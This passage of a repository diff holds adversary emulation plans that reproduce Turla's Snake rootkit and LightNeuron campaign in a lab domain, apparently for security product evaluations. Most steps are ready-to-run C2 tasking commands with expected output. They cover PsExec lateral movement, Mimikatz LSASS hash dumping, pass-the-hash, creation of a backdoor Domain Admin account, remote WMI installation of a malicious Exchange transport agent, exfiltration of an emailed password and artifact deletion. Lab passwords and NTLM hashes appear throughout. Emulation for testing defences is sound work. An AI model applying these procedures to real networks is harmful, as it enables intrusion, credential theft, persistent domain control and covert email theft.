a member of. + +* Wait 1 minute then execute the next discovery command to the drive mapped to the file server: +```bash +# Discover that the local machine has a drive mapped to the file server +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "net.exe", "args": "use", "runas": "nk\\Egle"}' +``` +:heavy_exclamation_mark: Verify that the home drive is mapped to the file server host `berzas` (`10.100.30.204`). + +### :moyai: Source Code + +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + +### :microscope: Cited Intelligence +* + +## Step 14 - Lateral Movement to File Server + +:microphone: `Voice Track:` + +Step 14 emulates Turla using the discovered admin account to laterally move to the file server and install the Snake rootkit on it. + +Using the information discovered in the previous step, Snake impersonates the EgleAdmin account to run PsExec and execute another copy of the Snake rootkit installer on the file server. This new copy of the Snake installer will have the installed rootkit beacon back to the C2 server via a different redirector. + +--- + +### :biohazard: Procedures + +* Tasking the implant to download PsExec. +```bash +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 4, "file": "PsExec.exe", "dest":"C:\\Windows\\System32\\file_svc_mgr.exe"}' +``` + +* Wait 1 minute and then run the following command to download the snake installer: +```bash +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 4, "file": "installer_v2.exe", "dest":"C:\\Windows\\System32\\cmu_svc_v2.exe"}' +``` + +* Wait 1 minute before running the following command to execute PsExec as `EgleAdmin`, which will run the Snake installer on the file server `berzas (10.100.30.204)`: +```bash +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "C:\\Windows\\System32\\file_svc_mgr.exe", "args":"\\\\berzas -accepteula -s -c C:\\Windows\\System32\\cmu_svc_v2.exe", "runas":"nk\\EgleAdmin"}' +``` + +:arrow_right: Go back to your RDP session to `Azuolas (10.100.40.103)` as `Egle`. + +* Minimize the RDP window. + +:arrow_right: RDP into `berzas` (`10.100.30.204`) as `EgleAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\EgleAdmin | Producer1! | + +* Close any spurious windows + +* Open Edge and navigate to . Perform a search on `File server configuration best practices`, but don't click on any results. + +* Minimize the RDP window, keeping processes running. + +:arrow_right: Check the Kali C2 server terminal window and verify that a new implant session is beaconing back to the C2 server. + +* Wait 1 minute before running the following command to remove files from `Azuolas (10.100.40.103)`: +```bash +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 1, "command": "del /Q C:\\Windows\\System32\\file_svc_mgr.exe C:\\Windows\\System32\\cmu_svc_v2.exe"}' +``` + +### :moyai: Source Code +* [Snake Installer](../../Resources/Snake/SnakeInstaller/README.md) + * [Privilege Escalation](../../Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp#L180) + * [Disable DSE and Load Rootkit](../../Resources/Snake/SnakeInstaller/src/main.cpp#L63) + * [Start Snake Rootkit Driver](../../Resources/Snake/SnakeInstaller/src/driver/driver.cpp#L111) +* [Snake Rootkit](../../Resources/Snake/README.md) + * [Driver](../../Resources/Snake/SnakeDriver/SnakeDriver/driver.c#L76) + * [Function Hooking](../../Resources/Snake/SnakeDriver/SnakeDriver/hooks.c#L31) + * [Infinity Hook](../../Resources/Snake/SnakeDriver/libinfinityhook/README.md) + * [Drop DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp#L22) + * [Trigger injection on network request](../../Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp#L276) + * [Inject Usermodule DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp#L30) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution via cmd](../../Resources/Snake/UserModule/src/execute.cpp#L337) + * [Generic process execution with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Payload download](../../Resources/Snake/UserModule/src/comms_http.cpp#L604) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + +### :microscope: Cited Intelligence + +* + +## Step 15 - Domain Discovery + +:microphone: `Voice Track:` + +Step 15 emulates Turla using Powershell to perform Active Directory user, group, and computer discovery. + +The Snake rootkit receives tasking from the C2 server to use Powershell's `ActiveDirectory` module to enumerate domain users, admin groups, and computers. Upon discovering `Zilvinas`'s regular and domain admin accounts, Snake will enumerate further details on the accounts. Snake then +discovers a workstation belonging to `Zilvinas` to use as a future lateral movement target. + +--- + +### :biohazard: Procedures + +* From your lower Kali C2 control server terminal window, task Snake to check if the `ActiveDirectory` PowerShell module is installed. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Get-Module -ListAvailable -Name ActiveDirectory"}' +``` +:heavy_exclamation_mark: Verify that you see output. If the implant returns empty output, please contact your lead. + +* Wait 1 minute before tasking Snake to collect a list of Active Directory groups containing the word "management", +as members of these groups will likely have elevated permissions on the network. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroup -Filter * | Where-Object Name -Match \"management\" | Select Name"}' +``` +:heavy_exclamation_mark: Verify that `Server Management` is included in the results. + +* Wait 1 minute before tasking Snake to obtain the usernames of accounts within the `Server Management` domain group. This will instruct Turla on users to target next. + +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroupMember -Identity \"Server Management\" | Select Name,SamAccountName"}' +``` +:heavy_exclamation_mark: Verify that `ZilvinasAdmin`shows up in the list of accounts. + +* Wait 1 minute before tasking Snake to obtain the usernames of accounts within the `Domain Admins` domain group. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADGroupMember -Identity \"Domain Admins\" | Select Name,SamAccountName"}' +``` +:heavy_exclamation_mark: Verify that `ZilvinasAdmin`shows up in the list of accounts. + +* Wait 1 minute before tasking Snake to discover domain users. Ensure +`Zilvinas` and `ZilvinasAdmin` appear in the output. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADUser -Filter {LastLogonDate -ne 0} -Properties * | Select Name,SamAccountName"}' +``` + +* Finally, wait 1 minute before tasking Snake to obtain a list of domain computers and some of their information (IP addresses, DNS names, and description). +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 2, "command": "$ProgressPreference = \"SilentlyContinue\"; Import-Module ActiveDirectory; Get-ADComputer -Filter * -Properties * | Select Name,DnsName,IPv4Address,Description"}' +``` +:heavy_exclamation_mark: Ensure that `Zilvinas' Workstation` appears in the `Description` field for `uosis` + +### :moyai: Source Code + +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Powershell execution](../../Resources/Snake/UserModule/src/execute.cpp#L372) + +### :microscope: Cited Intelligence + +* TBD + +## Step 16 - Preparation for Lateral Movement to Admin Workstation + +:microphone: `Voice Track:` + +Step 16 emulates Turla performing credential dumping on the file server with the goal of moving laterally to a workstation owned by a Domain Admin. + +Snake downloads Mimikatz to the file server and extracts all NTLM hashes on the target. The command output is sent directly to the C2 server. + +--- + +### :biohazard: Procedures + +* From the Kali C2 server lower terminal window, task Snake to download Mimikatz to the file server: +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 4, "file": "mimikatz.exe", "dest": "C:\\Windows\\System32\\loadperf.exe"}' +``` + +* Wait 1 minute and then instruct Snake to download PsExec to the file server: + +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 4, "file": "PsExec.exe", "dest": "C:\\Windows\\System32\\fs_mgr.exe"}' +``` + +* Wait 1 minute and then run the following command to download the snake installer: + +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 4, "file": "installer_v3.exe", "dest":"C:\\Windows\\System32\\cmu_svc.exe"}' +``` + +* Wait 1 minute and then instruct Snake to run Mimikatz to dump all NTLM hashes from `LSASS.exe`: + +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 3, "proc": "C:\\Windows\\System32\\loadperf.exe", "args": "\"pr::d\" \"slsa::lop\" \"quit\""}' +``` + +* :heavy_exclamation_mark: Verify that the password `Producer2!` and NTLM hash +`f3fcd61f987a97da49ce5f650b4e6539` for `ZilvinasAdmin` appears at least once in +the output. + +```bash +grep '* Username : ZilvinasAdmin' logs.txt -C 5 -i +``` + +* This should return: + * > ``` + > * Username : ZilvinasAdmin + > * Domain : NK + > * NTLM : f3fcd61f987a97da49ce5f650b4e6539 + > * SHA1 : fc8c801521140666c793108b67716caf4c4189f4 + > * DPAPI : b06d7bea8849897b811e1d73ab22726c + > tsPkG : + > -- + > * Username : ZilvinasAdmin + > * Domain : NK + > * Password : Producer2! + > kErberoS : + > * Username : ZilvinasAdmin + > * Domain : NK.LOCAL + > * Password : (null) + > sSp : + > crEdMan : + > ``` + +### :moyai: Source Code + +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [Payload download](../../Resources/Snake/UserModule/src/comms_http.cpp#L604) + * [Generic process execution](../../Resources/Snake/UserModule/src/execute.cpp#L406) +* [Mimikatz](../../Resources/Mimikatz) + +### :microscope: Cited Intelligence + +* TBD + +## Step 17 - Lateral Movement to Admin Workstation and Persistence + +:microphone: `Voice Track:` + +Step 17 emulates Turla performing lateral movement to the domain admin's workstation and performing additional persistence by creating a new domain admin account. + +The retrieved NTLM hash discovered in the previous step is used in a pass-the-hash attack to move laterally to `Zilvinas`'s workstation. PsExec is used via pass-the-hash to execute and install the Snake rootkit on the target workstation. + +Once the admin workstation has been compromised, Snake is used to enumerate processes running on `Zilvinas`'s workstation `uosis`, where it is discovered that `ZilvinasAdmin` has processes running which can be used for token impersonation. By impersonating `ZilvinasAdmin`, a new domain user `Leshy` is created and added to the `Domain Admins` domain group for persistence. + +--- + +### :biohazard: Procedures + +* Instruct Snake to pass-the-hash using `ZilvinasAdmin`'s NTLM hash to run PsExec and install Snake on the target workstation. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 3, "proc": "C:\\Windows\\System32\\loadperf.exe", "args": "\"privilege::debug\" \"sekurlsa::pth /user:ZilvinasAdmin /ntlm:f3fcd61f987a97da49ce5f650b4e6539 /domain:nk.local /remotepc:uosis /pexe:C:\\Windows\\System32\\fs_mgr.exe /sys:1 /prun:C:\\Windows\\System32\\cmu_svc.exe\" \"quit\""}' +``` + +:arrow_right: Wait 2 minutes. Start a new RDP session to `uosis` (`10.100.40.102`) as `Zilvinas`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Zilvinas | Producer2! | + +* Open Edge and navigate to `https://drebule.nk.local/owa`. Log in as `Zilvinas`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Zilvinas | Producer2! | + +* Spend a couple minutes reading through any unread emails to wait for the implant to start beaconing back to the C2 server. + +:arrow_right: Return to the Kali C2 terminal window and verify that a new implant session is beaconing back to the C2 server. + +* Wait 1 minute and then task the implant to delete artifacts from the file server. +```bash +./evalsC2client.py --set-task 5054474d50435a51404b '{"type": 1, "command": "del /Q C:\\Windows\\System32\\fs_mgr.exe C:\\Windows\\System32\\loadperf.exe C:\\Windows\\System32\\cmu_svc.exe"}' +``` + +* :arrow_right: Return to your RDP session to `uosis (10.100.40.102)` as `Zilvinas`. + +* Click on the search bar and search for `powershell`. Right click `powershell` and then click "Run as Administrator". + +* When prompted, type in the username and password for `ZilvinasAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\ZilvinasAdmin | Producer2! | + +* A new powershell window should pop up. Run the following command to ensure that you are running as `nk\ZilvinasAdmin`: +```pwsh +whoami +``` + +:arrow_right: Return to the Kali C2 server + +* From the lower terminal window, task Snake to enumerate running processes on the machine to discover processes under `ZilvinasAdmin`. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 3, "proc": "tasklist.exe", "args": "/v"}' +``` + +* :heavy_exclamation_mark: Verify that we find processes running under `ZilvinasAdmin` + +```bash +grep 'NK\\ZilvinasAdmin' logs.txt -i +``` + +* This should return output similar to the following: + * > ``` + > powershell.exe 8152 RDP-Tcp#2 3 83,280 K Unknown NK\ZilvinasAdmin 0:00:00 N/A + > conhost.exe 312 RDP-Tcp#2 3 17,356 K Unknown NK\ZilvinasAdmin 0:00:00 N/A + > ``` + +* Wait 1 minute, then instruct Snake to create a new domain user `Leshy` using an access token from one of the `ZilvinasAdmin` processes. `Leshy` will be used as a backdoor domain admin account for persistence on the domain. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "net user leshy Password12345 /add /domain", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute, then instruct Snake to add `Leshy` to the `Domain Admins` group. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "net group \"Domain Admins\" leshy /add /domain", "runas": "nk\\zilvinasadmin"}' +``` + +### :moyai: Source Code +* [Snake Installer](../../Resources/Snake/SnakeInstaller/README.md) + * [Privilege Escalation](../../Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp#L180) + * [Disable DSE and Load Rootkit](../../Resources/Snake/SnakeInstaller/src/main.cpp#L63) + * [Start Snake Rootkit Driver](../../Resources/Snake/SnakeInstaller/src/driver/driver.cpp#L111) +* [Snake Rootkit](../../Resources/Snake/README.md) + * [Driver](../../Resources/Snake/SnakeDriver/SnakeDriver/driver.c#L76) + * [Function Hooking](../../Resources/Snake/SnakeDriver/SnakeDriver/hooks.c#L31) + * [Infinity Hook](../../Resources/Snake/SnakeDriver/libinfinityhook/README.md) + * [Drop DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp#L22) + * [Trigger injection on network request](../../Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp#L276) + * [Inject Usermodule DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp#L30) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [C2 communications over HTTP](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution for generic process](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Task execution via cmd with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L337) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + * [Payload download](../../Resources/Snake/UserModule/src/comms_http.cpp#L604) + * [File Upload](../../Resources/Snake/UserModule/src/comms_http.cpp#L359) + +### :microscope: Cited Intelligence + +* TBD + +## Step 18 - Lateral Movement to Exchange Server + +:microphone: `Voice Track:` + +Step 18 emulates Turla laterally moving to the Exchange server and installing the LightNeuron implant there. + +Snake downloads LightNeuron and associated Powershell installation script and config files, transfers them to the Exchange server, and remotely executes the installation script using WMI to install LightNeuron on the Exchange server. + +--- + +### :biohazard: Procedures + +* From the Kali C2 lower terminal window, task Snake to download LightNeuron: +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 4, "file": "ln_transport_agent.dll", "dest":"C:\\Windows\\System32\\mtxconf.dll"}' +``` + +* Wait 1 minute and then task Snake to download the companion DLL for LightNeuron: +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 4, "file": "n_installer_aux.dll", "dest":"C:\\Windows\\System32\\mtxcli.dll"}' +``` + +* Wait 1 minute and then task Snake to download the Powershell installation script for LightNeuron. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 4, "file": "msiex.ps1", "dest":"C:\\Windows\\System32\\msiex.ps1"}' +``` + +* Wait 1 minute and then task Snake to download the LightNeuron email rules file. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 4, "file": "rules.xml", "dest":"C:\\Windows\\System32\\wdr.rules.xml"}' +``` + +* Wait 1 minute and then task Snake to download the LightNeuron config file. +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 4, "file": "winmail.dat", "dest":"C:\\Windows\\System32\\perfe009.dat"}' +``` + +* Wait 1 minute and then task Snake to copy LightNeuron, the rules config file, and the Powershell installation script to the remote target `drebule`, using token impersonation to perform the copy as `ZilvinasAdmin`. +```bash +# Copy LightNeuron +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\mtxconf.dll \"\\\\drebule\\C$\\Program Files\\Microsoft\\Exchange Server\\V15\\TransportRoles\\agents\\Hygiene\\Microsoft.Exchange.Transport.Agent.ConnectionFiltering.dll\"", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute before copying the next file: + +```bash +# Copy LightNeuron companion DLL +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\mtxcli.dll \"\\\\drebule\\C$\\Program Files\\Microsoft\\Exchange Server\\v15\\bin\\exdbdata.dll\"", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute before copying the next file: + +```bash +# Copy installation script +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\msiex.ps1 \\\\drebule\\C$\\Windows\\System32\\msiex.ps1", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute before copying the rules file: + +```bash +# Copy email rules file +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\wdr.rules.xml \\\\drebule\\C$\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\msmdat.xml", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute before copying the last config file: + +```bash +# Copy config file +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\perfe009.dat \"\\\\drebule\\C$\\Program Files\\Microsoft\\Exchange Server\\v15\\bin\\winmail.dat\"", "runas": "nk\\zilvinasadmin"}' +``` + +* Wait 1 minute and then task Snake to install LightNeuron remotely using WMI and Powershell, using `ZilvinasAdmin`'s token + +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 3, "proc": "wmic.exe", "args": "/node:drebule /privileges:enable /output:STDOUT process call create \"cmd.exe /c powershell.exe -File C:\\Windows\\System32\\msiex.ps1 > C:\\Windows\\Temp\\msiexinstallation.log 2>&1\"", "runas": "nk\\ZilvinasAdmin"}' +``` +:heavy_exclamation_mark: Verify that the WMIC output shows a `ReturnValue` of 0. + +* Wait 1 minute and then task Snake to check the installation log for any errors: + +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "type \\\\drebule\\C$\\Windows\\Temp\\msiexinstallation.log", "runas": "nk\\ZilvinasAdmin"}' +``` + +> Expected output will start with messages regarding PS-Session, the bottom of +> the file should look like: +> ``` +> PSComputerName : localhost +> RunspaceId : 1e56a6dd-5fd2-4545-9db8-2a4ca6a77212 +> Enabled : False +> Priority : 10 +> TransportAgentFactory : Microsoft.Exchange.Transport.Agent.ConnectionFiltering.ConnectionFilteringAgentFactory +> AssemblyPath : C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\agents\Hygiene\Microsoft.Exchange +> .Transport.Agent.ConnectionFiltering.dll +> IsCritical : True +> EscalationTeam : +> Identity : Connection Filtering Agent +> IsValid : True +> ObjectState : New +> +> WARNING: Please exit Windows PowerShell to complete the installation. +> WARNING: The following service restart is required for the change(s) to take effect : MSExchangeTransport +> WARNING: The following service restart is required for the change(s) to take effect : MSExchangeTransport +> WARNING: Waiting for service 'Microsoft Exchange Transport (MSExchangeTransport)' to stop... +> WARNING: Waiting for service 'Microsoft Exchange Transport (MSExchangeTransport)' to start... +> ``` + +:heavy_exclamation_mark: If the output contains any errors, notify your lead. + +* Wait 1 minute and then task Snake to remove artifacts from `uosis (10.100.40.102)`: + +```bash +./evalsC2client.py --set-task 475e465e424557475b42 '{"type": 1, "command": "del /Q C:\\Windows\\System32\\msiex.ps1 C:\\Windows\\System32\\wdr.rules.xml C:\\Windows\\System32\\mtxconf.dll C:\\Windows\\System32\\mtxcli.dll C:\\Windows\\System32\\perfe009.dat"}' +``` + +### :moyai: Source Code +* [Installation Script](../../Resources/LightNeuron/msiex.ps1) +* [LightNeuron](../../Resources/LightNeuron/) + * [Masquerading legitimate file name](../../Resources/LightNeuron/CompanionDLL/data/winmail.dat) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [Task download](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + * [Task execution for generic process with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L406) + * [Task execution via cmd with optional token impersonation](../../Resources/Snake/UserModule/src/execute.cpp#L337) + * [Payload download](../../Resources/Snake/UserModule/src/comms_http.cpp#L604) + * [Token duplication](../../Resources/Snake/UserModule/src/execute_token.cpp#L284) + +### :microscope: Cited Intelligence + +* TBD + +## Step 19 - Discovery and Email Collection + +:microphone: `Voice Track:` + +Step 19 emulates Turla sending several discovery commands to the LightNeuron +implant and collecting and exfiltrating email traffic. + +Emails with JPG attachments containing AES encrypted commands embedded using +stegonagraphy are sent from the C2 server to the domain. LightNeuron's +transport agent processes all emails via LightNeuron's companion DLL, which +executes the embedded command and blocks delivery of the email from the C2 +server. + +LightNeuron automatically collects all emails with recipients matching `nk.local` +in a log file (`C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\msmdat.xml`). + +Eventually, LightNeuron is tasked to exfiltrate the email log, which is +exfiltrated over the existing C2 channel. + +--- + +### :biohazard: Procedures + +* From the Kali C2 lower terminal window, task LightNeuron to perform system +network configuration discovery: + +```bash +./evalsC2client.py --set-task info@nk.local '5 | ipconfig /all' +``` +* :heavy_exclamation_mark: If no response is received after 5 minutes, check +the postfix logs on the Kali server to make sure the email was intercepted and +processed correctly by LightNeuron. + + ```bash + grep postfix /var/log/syslog + ``` + * If there is a `reject` entry, that means the email, destined for a + nonexistent user, was processed by the Exchange server, meaning that + LightNeuron was either not successfully installed or is not working properly. + +* :arrow_right: Return to your RDP session to `uosis (10.100.40.102)` as `Zilvinas`. + +* Go to your Edge browser window with the OWA page. Your windows should still be up from Step 6. + +* Create a new email: + * The email recipient should be the user `egle@nk.local` + * The email subject should be `SAP Integration Issue` + * The following text should be pasted in as the email body: + ``` + Hi Egle, + After our meeting earlier I spoke with Tenko about the SAP integration issue that was preventing the users from logging in. I did a little digging and noticed there is an authentication error on the SAP server. + + When you get a few minutes could you check to make sure the service account is still active and the credentials have not expired? The account name is SVC_SAP2. + ``` + +* Send the email + +:arrow_right: Switch to your RDP window to `Azuolas` (`10.100.40.103`) as `Egle`. + +* Go to your Edge browser window. You should still be logged into OWA from Step 2. + +* You should see the email from `Zilvinas@nk.local`. Try reloading the page if needed. + +* Reply to the email from Zilvinas. + * The following text should be pasted in as the email reply body: + ``` + Zilvinas, + + I just checked on the service account. It appears that the account was still active, but the password had expired. I've adjusted the settings for the account, so the password should not expire again. + + The new password is: dfsbH%T5RWf3bwq3aeGR$3% + + Let me know if this fixes the authentication issue. + ``` + +* Send the email + +:arrow_right: Return to the Kali C2 server lower terminal window. Task the LightNeuron implant to exfiltrate the email log file: +```bash +./evalsC2client.py --set-task info@nk.local '3 | 0' +``` + +* The file contents will be logged by the control server. +:heavy_exclamation_mark: Verify that exfil was logged by the control server by checking the terminal window with the server output or by checking the server log file. The logs should contain the password Egle sent to Zilvinas: +```bash +grep 'dfsbH%T5RWf3bwq3aeGR$3%' /opt/day2/turla/Resources/control_server/logs.txt +``` + +### :moyai: Source Code +* [Transport Agent](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs) + * [Remote Email Collection](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs#L56) + * [Automated Collection](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs#L100) + * [Email Hiding Rules](../../Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs#L162) +* [Companion DLL](../../Resources/LightNeuron/CompanionDLL/) + * [Check message against rule file](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L307) + * [Data Staging/Automated Collection](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L196) + * [Analyze attachment for data from C2](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L98) + * [Send message back to C2 server over email](../../Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp#L130) +* [Steganography](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp) + * [Decode attachment data from base64](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L437) + * [Check signature in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L136) + * [Decrypt data in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L99) + * [Extract task from image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L302) + * [Execute commands: Cmd ID 3](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L232) + * [Execute commands: Cmd ID 5](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L263) + * [Encrypt result of command in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L51) + * [Hide result of command in image](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L184) + * [Encode data in base64](../../Resources/LightNeuron/CompanionDLL/src/stego.cpp#L499) + +### :microscope: Cited Intelligence + +* diff --git a/turla/Emulation_Plan/Snake_Scenario/Snake_Protections_Scenario.md b/turla/Emulation_Plan/Snake_Scenario/Snake_Protections_Scenario.md new file mode 100644 index 00000000..79f363bd --- /dev/null +++ b/turla/Emulation_Plan/Snake_Scenario/Snake_Protections_Scenario.md @@ -0,0 +1,751 @@ +# Snake Protections Scenario + +Legend of symbols: +* :bulb: - callout notes +* :heavy_exclamation_mark: - extremely important note +* :arrow_right: - Switching to another session +* :o: - Sign out of something + +--- + +## Protections Setup + +:arrow_right: RDP, do not SSH, to the Kali attacker machine `(176.59.15.33)`. + +* Open a new terminal window, cd to the cloned repo control server, and start the control server: + +```bash +cd /opt/day2/turla/Resources/control_server +rm logs.txt +sudo ./controlServer -c ./config/turla_day2.yml +``` + +* Ensure the EPIC, Snake, and LightNeuron handlers started up. + +* Within your Kali control server terminal window, right click and select +"Split Terminal Horizontally". Be careful not to terminate the control server. + +* In the new terminal window, change directory to the control server repo: + +```bash +cd /opt/day2/turla/Resources/control_server +``` + +
+ +## Test 8: Watering Hole + +:microphone: `Voice Track:` + +Test 8 emulates Turla's initial access attempt via a watering hole attack +targeting user `Egle`, who downloads the EPIC dropper. + +--- + +### :biohazard: Procedures + +:arrow_right: RDP to `Azuolas (10.100.40.103)` as `Egle`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Egle | Producer1! | + +* Open Microsoft Edge and browse to `nato-int.com`. + +* Wait for redirection to `anto-int.com`. + +* After redirection you will prompted to update NotFlash. Click to download the +update (`NFVersion_5e.exe`) bundled with EPIC (a.k.a. Tavdig/Wipbot). â— DO NOT EXECUTE THE FILE. + +* Open File Explorer and browse to Downloads + +--- + +### :moyai: Source Code + +* Watering Hole + * [Browser redirection](../../Resources/setup/files/watering_hole/redirection.py#L18-L31) + * Browser evercookie (utilized built-in [BeEF Evercookie](https://github.com/beefproject/beef/blob/486a9bb329f46e434e40c8e8567afa2754b37517/core/main/client/session.js#L15-L16) from the Browser Exploitation Framework) + * [Fingerprinting details](../../Resources/setup/files/watering_hole/README.md#fingerprinting-details-from-beef-via-evercookie-and-other-bundled-tools) + +### :microscope: Cited Intelligence + +* +* +* +* +* +* +* +* +* + +## Test 9: Execute EPIC + +:microphone: `Voice Track:` + +Test 9 emulates execution of the EPIC installer to achieve initial access and perform some discovery via the EPIC implant. + +--- + +### :biohazard: Procedures + +:arrow_right: Return to your Kali C2 server + +* Open a new terminal tab and name it `smbclient`. Copy the EPIC dropper executable to Windows host, Azuolas: +```bash +smbclient -U 'nk\EgleAdmin'%'Producer1!' //10.100.40.103/c$ -c 'put /opt/day2/turla/Resources/EPIC/SimpleDropper/SimpleDropper/bin/SimpleDropper_https.exe Users\egle\Downloads\NFVersion_5e.exe' +``` + +:arrow_right: Return to your RDP session as `Egle` + +* Open File Explorer > Downloads + +* Double click on the downloaded `NFVersion_5e.exe` to run it. + +* Wait 1 minute for it to finish running. + +* Close out of all tabs and sign out of your RDP session. + +* Re-RDP to `Azuolas (10.100.40.103)` as `Egle`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Egle | Producer1! | + +* Open Microsoft Edge and browse to `https://drebule.nk.local/owa`. Log in as `Egle`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Egle | Producer1! | + +:arrow_right: **Set a timer for 2 minutes** then switch to your Kali control server terminal and +confirm that a new implant has registered and the automated discovery output has been returned in +the server log. + +**NOTE:** The injector will wait **2 minutes**, before injecting EPIC's Guard DLL into explorer.exe +and, subsequently, EPIC's worker DLL into Microsoft Edge. + + +* Within the terminal window, split your terminal horizontally via right-click -> split terminal. Be careful not to accidentally terminate the control server. + +* In your lower terminal tab, task the EPIC implant with the following set of discovery commands: + +```bash +cd /opt/day2/turla/Resources/control_server +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | systeminfo && net group "Domain Computers" /domain' +``` + +--- + +### :moyai: Source Code + +* [EPIC 